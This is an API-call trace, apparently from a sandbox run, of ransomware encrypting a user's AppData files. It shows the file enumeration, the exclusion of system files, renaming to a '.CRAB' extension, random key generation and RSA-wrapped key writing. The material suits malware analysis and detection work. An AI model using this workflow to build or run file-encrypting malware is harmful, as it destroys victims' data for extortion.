	[0109.577] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\IgMN c6KE0BQMjB3AV4T.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\igmn c6ke0bqmjb3av4t.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.577] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.578] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.578] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x12784, lpOverlapped=0x0) returned 1
	[0109.592] VirtualAlloc (lpAddress=0x0, dwSize=0x12790, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.593] VirtualAlloc (lpAddress=0x0, dwSize=0x12790, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0109.595] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.596] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffed87c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.596] WriteFile (in: hFile=0x3ec, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x12790, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314c9b4*=0x12790, lpOverlapped=0x0) returned 1
	[0109.596] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.597] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.600] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.601] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.601] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0109.601] CloseHandle (hObject=0x3ec) returned 1
	[0109.603] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.603] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.603] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.603] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.604] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.604] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.604] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.604] lstrcmpW (lpString1="JHDvV4GFpCMyf.gif", lpString2=".") returned 1
	[0109.604] lstrcmpW (lpString1="JHDvV4GFpCMyf.gif", lpString2="..") returned 1
	[0109.604] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="JHDvV4GFpCMyf.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif"
	[0109.604] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.604] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif") returned 55
	[0109.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif") returned 55
	[0109.605] lstrlenW (lpString=".gif") returned 4
	[0109.605] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.605] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0109.605] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif") returned 55
	[0109.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif") returned 55
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="desktop.ini") returned 1
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="autorun.inf") returned 1
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="ntuser.dat") returned -1
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="iconcache.db") returned 1
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="bootsect.bak") returned 1
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="boot.ini") returned 1
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="ntuser.dat.log") returned -1
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="thumbs.db") returned -1
	[0109.605] lstrcmpiW (lpString1="JHDvV4GFpCMyf.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.605] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.606] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB") returned 60
	[0109.606] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jhdvv4gfpcmyf.gif")) returned 0x20
	[0109.606] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif", dwFileAttributes=0x20) returned 1
	[0109.606] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jhdvv4gfpcmyf.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jhdvv4gfpcmyf.gif.crab")) returned 1
	[0109.607] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.607] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB"
	[0109.607] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB.CRAB"
	[0109.607] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0109.608] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.608] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.608] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.608] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0109.608] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.609] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.609] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0109.609] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.610] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.610] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0109.610] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.610] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.610] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.610] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.614] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0109.614] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80ce0) returned 1
	[0109.614] CryptGetKeyParam (in: hKey=0xd80ce0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.614] CryptEncrypt (in: hKey=0xd80ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0109.615] GetLastError () returned 0x0
	[0109.615] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.615] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0109.615] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80b20) returned 1
	[0109.615] CryptGetKeyParam (in: hKey=0xd80b20, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.615] CryptEncrypt (in: hKey=0xd80b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0109.616] GetLastError () returned 0x0
	[0109.616] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.616] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\JHDvV4GFpCMyf.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jhdvv4gfpcmyf.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.616] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.616] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.617] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0xe0d1, lpOverlapped=0x0) returned 1
	[0109.629] VirtualAlloc (lpAddress=0x0, dwSize=0xe0e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.630] VirtualAlloc (lpAddress=0x0, dwSize=0xe0e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.632] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.633] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff1f2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.633] WriteFile (in: hFile=0x3ec, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xe0e0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314c9b4*=0xe0e0, lpOverlapped=0x0) returned 1
	[0109.633] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.634] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.638] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.638] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.638] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0109.638] CloseHandle (hObject=0x3ec) returned 1
	[0109.640] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.641] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.641] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.641] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.641] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.642] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.642] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.642] lstrcmpW (lpString1="K nPGgQvdN.flv", lpString2=".") returned 1
	[0109.642] lstrcmpW (lpString1="K nPGgQvdN.flv", lpString2="..") returned 1
	[0109.643] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="K nPGgQvdN.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv"
	[0109.643] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.643] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv") returned 52
	[0109.651] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv") returned 52
	[0109.651] lstrlenW (lpString=".flv") returned 4
	[0109.651] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.652] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0109.652] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv") returned 52
	[0109.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv") returned 52
	[0109.652] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="desktop.ini") returned 1
	[0109.652] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="autorun.inf") returned 1
	[0109.652] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="ntuser.dat") returned -1
	[0109.652] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="iconcache.db") returned 1
	[0109.652] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="bootsect.bak") returned 1
	[0109.653] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="boot.ini") returned 1
	[0109.653] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="ntuser.dat.log") returned -1
	[0109.653] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="thumbs.db") returned -1
	[0109.653] lstrcmpiW (lpString1="K nPGgQvdN.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.653] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.653] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB") returned 57
	[0109.653] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\k npggqvdn.flv")) returned 0x20
	[0109.653] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv", dwFileAttributes=0x20) returned 1
	[0109.654] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\k npggqvdn.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\k npggqvdn.flv.crab")) returned 1
	[0109.655] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.655] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB"
	[0109.656] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB.CRAB"
	[0109.656] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0109.656] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.657] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.657] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.657] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0109.657] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.657] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.658] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0109.658] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.659] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.659] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0109.659] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0109.659] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.659] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.660] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.660] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0109.660] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80ba0) returned 1
	[0109.661] CryptGetKeyParam (in: hKey=0xd80ba0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.661] CryptEncrypt (in: hKey=0xd80ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0109.661] GetLastError () returned 0x0
	[0109.661] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0109.661] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0109.662] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd806a0) returned 1
	[0109.662] CryptGetKeyParam (in: hKey=0xd806a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.662] CryptEncrypt (in: hKey=0xd806a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0109.663] GetLastError () returned 0x0
	[0109.663] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.663] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K nPGgQvdN.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\k npggqvdn.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.663] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.664] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.664] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x119ff, lpOverlapped=0x0) returned 1
	[0109.677] VirtualAlloc (lpAddress=0x0, dwSize=0x11a00, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.679] VirtualAlloc (lpAddress=0x0, dwSize=0x11a00, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0109.681] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.682] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffee601, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.682] WriteFile (in: hFile=0x3ec, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x11a00, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314c9b4*=0x11a00, lpOverlapped=0x0) returned 1
	[0109.682] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.683] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.687] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.687] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.687] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0109.688] CloseHandle (hObject=0x3ec) returned 1
	[0109.690] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.690] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.691] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.691] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.691] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.691] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.692] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.692] lstrcmpW (lpString1="khYklCMkh.avi", lpString2=".") returned 1
	[0109.692] lstrcmpW (lpString1="khYklCMkh.avi", lpString2="..") returned 1
